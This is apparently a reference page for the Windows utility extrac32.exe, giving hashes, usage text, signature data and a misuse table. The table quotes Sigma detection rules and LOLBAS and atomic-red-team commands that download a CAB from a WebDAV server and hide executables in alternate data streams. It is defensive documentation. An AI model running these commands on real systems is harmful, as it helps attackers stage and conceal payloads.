extrac32.exe

  • File Path: C:\Windows\SysWOW64\extrac32.exe
  • Description: Microsoft CAB File Extract Utility

Hashes

Type Hash
MD5 BAD0EA2D88113DA8F319BD9A991CE090
SHA1 80500C3A180C03B28418FA30FBF79CE1CF35AB32
SHA256 FA7417FCC312A734880BEC3A890488A8F90ED4CF0A55F56BC8A8C065521817DC
SHA384 6FEBD890EC70E7414254926DBB220F07DF957943F1D2AFE0944A5182E3813BE4049EA3BA0B6FD1C833F778E3E53991D3
SHA512 D974072483D321C6E28701CD728A7B26A097E2420D047298B3527B9C9B00AE124CD4A4999644EE67B9C16CD3FA562064813ADAEA3D033BB1A7FDC97236242B6F
SSDEEP 768:NYDhe6vhfg9CcoCvzGrLQijvOse4TbZ/nZp7sOuFl8D:NOheqpCnogijGsBTRfuFl8D

Runtime Data

Usage (stdout):

Microsoft (R) Cabinet Extraction Tool
Copyright (c) Microsoft Corporation. All rights reserved..

EXTRACT [/Y] [/A] [/D | /E] [/L dir] cabinet [filename ...]
EXTRACT [/Y] source [newname]
EXTRACT [/Y] /C source destination

  cabinet  - Cabinet file (contains two or more files).
  filename - Name of the file to extract from the cabinet.
             Wild cards and multiple filenames (separated by
             blanks) may be used.

  source   - Compressed file (a cabinet with only one file).
  newname  - New filename to give the extracted file.
             If not supplied, the original name is used.

  /A         Process ALL cabinets.  Follows cabinet chain
             starting in first cabinet mentioned.
  /C         Copy source file to destination (to copy from DMF disks).
  /D         Display cabinet directory (use with filename to avoid extract).
  /E         Extract (use instead of *.* to extract all files).
  /L dir     Location to place extracted files (default is current directory).
  /Y         Do not prompt before overwriting an existing file.

Signature

  • Status: Signature verified.
  • Serial: 33000000BCE120FDD27CC8EE930000000000BC
  • Thumbprint: E85459B23C232DB3CB94C7A56D47678F58E8E51E
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: extrac32.exe.mui
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 5.00 (rs1_release.160715-1616)
  • Product Version: 5.00
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.

Possible Misuse

The following table contains possible examples of extrac32.exe being misused. While extrac32.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma proc_creation_win_lolbas_extrac32.yml title: Suspicious Extrac32 Execution DRL 1.0
sigma proc_creation_win_lolbas_extrac32.yml description: Download or Copy file with Extrac32 DRL 1.0
sigma proc_creation_win_lolbas_extrac32.yml - https://lolbas-project.github.io/lolbas/Binaries/Extrac32/ DRL 1.0
sigma proc_creation_win_lolbas_extrac32.yml - extrac32.exe DRL 1.0
sigma proc_creation_win_lolbas_extrac32_ads.yml title: Suspicious Extrac32 Alternate Data Stream Execution DRL 1.0
sigma proc_creation_win_lolbas_extrac32_ads.yml - https://lolbas-project.github.io/lolbas/Binaries/Extrac32/ DRL 1.0
sigma proc_creation_win_lolbas_extrac32_ads.yml - extrac32.exe DRL 1.0
LOLBAS Extrac32.yml Name: Extrac32.exe  
LOLBAS Extrac32.yml - Command: extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe  
LOLBAS Extrac32.yml - Command: extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe  
LOLBAS Extrac32.yml - Command: extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt  
LOLBAS Extrac32.yml - Command: extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe  
LOLBAS Extrac32.yml - Path: C:\Windows\System32\extrac32.exe  
LOLBAS Extrac32.yml - Path: C:\Windows\SysWOW64\extrac32.exe  
atomic-red-team T1564.004.md extrac32 #{path}\procexp.cab #{path}\file.txt:procexp.exe MIT License. © 2018 Red Canary

MIT License. Copyright (c) 2020-2021 Strontic.